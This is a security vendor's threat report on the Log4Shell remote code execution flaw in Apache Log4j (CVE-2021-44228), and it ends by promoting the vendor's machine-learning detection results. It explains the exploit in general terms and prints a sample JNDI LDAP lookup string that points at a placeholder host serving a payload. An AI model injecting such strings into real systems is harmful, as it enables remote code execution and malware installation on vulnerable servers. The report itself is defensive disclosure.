Apache Log4j RCE Vulnerability (Log4Shell) Gifts Attackers A New Infection Vector
Cyber criminals have exploited a vulnerability in the Apache Foundation Log4j logging library. The vulnerability is easy to exploit by cyber criminals.
Due in part to the ubiquitous use of the Log4j library, the vulnerability has been given maximum Common Vulnerability Scoring System (CVSS) score of 10.0.
A total of 28 samples of malware known to be malicious payloads associated with successful exploitation of the Log4j RCE vulnerability were tested against BluVector’s patented Machine Learning Engine (MLE) and all were detected.
What Is It?
On December 9th 2021, a critical remote code execution vulnerability was disclosed in the popular Apache Foundation Log4j logging library (CVE-2021-44228). Exploitation of this vulnerability does not require authentication, can be performed remotely, potentially allows an attacker to gain complete control over a vulnerable system, and requires little skill. Due to these factors, and the widespread use of the Log4j library, this vulnerability has been given the maximum CVSS score of 10.0. This vulnerability provides attackers with what is at the top of many of their holiday wish lists, a new infection vector.
As we have discussed in previous Threat Reports, attackers continually face off against defenders in an evolutionary arms race, with each side attempting to one up the other and gain a temporary advantage. It may sound obvious, but attackers need to get their malicious code onto victim systems before they can execute it. As in the recent reemergence of the Emotet trojan, one way attackers are able to install malware is to engage a malicious access-as-a-service provider, for a fee, to obtain stolen credentials, or access to backdoors already in place. However, vulnerabilities such as this one also give attackers an opportunity to utilize a widespread, easy and reliable exploit to get their malware to run on new victim systems. Of course, this is where the race aspect of “arms race” comes into play, attackers have a limited amount of time before vulnerable systems are patched, or other potential mitigations are implemented.
The first step for attackers wanting to exploit vulnerabilities such as this is to locate susceptible internet facing systems. One of the best avenues for attackers in this situation is one of their favorite approaches, misuse of legitimate security tools. With a remotely exploitable – i.e. over a network – vulnerability such as this one, tools are often created for system administrators or security staff to use to scan their networks to identify the systems which need to be patched. Attackers will use tools which have similar scanning functionality, but then exploit the vulnerability, and execute their malicious payloads.
In simple terms, exploitation of this vulnerability, and executing a malicious payload, just requires sending an LDAP (Lightweight Directory Access Protocol) request to a vulnerable system which looks like this:
${jndi:ldap://external_site_hosting_payload/payload_executable}
Researchers have also observed protocols other than LDAP being used to deliver the malicious payload, including DNS and HTTP.
In the first few days following the announcement of this vulnerability, researchers from various organizations have observed Mirai and Mustik bots, and cryptocurrency mining malware being installed after successful exploitation of the vulnerability. There are also reports of APT groups utilizing this vulnerability.
It’s important to note the point that exploitation of this vulnerability results in the opportunity to execute external malicious code. What will no doubt become commonly known as “Log4j malware” actually exploits the vulnerability, but it is the malicious payload that it is executed from a specified external location that is the attacker’s objective. As has been the case so far, this malicious payload is likely to be existing malware families and variants.
How Does It Propagate?
The malicious payloads tested here do not contain the necessary code to self-propagate. The Log4j RCE vulnerability, CVE-2021-44228, is used as the infection vector in these attacks.
When/How Did BluVector Detect Log4j RCE?
A total of 28 samples of malware known to be malicious payloads of successful exploitation of the Log4j RCE vulnerability were tested against BluVector’s patented Machine Learning Engine (MLE) and all were detected. Regression testing of these samples shows that BluVector would have detected malware associated with this vulnerability on average 32 months prior to their release and in some cases up to 92 months prior.
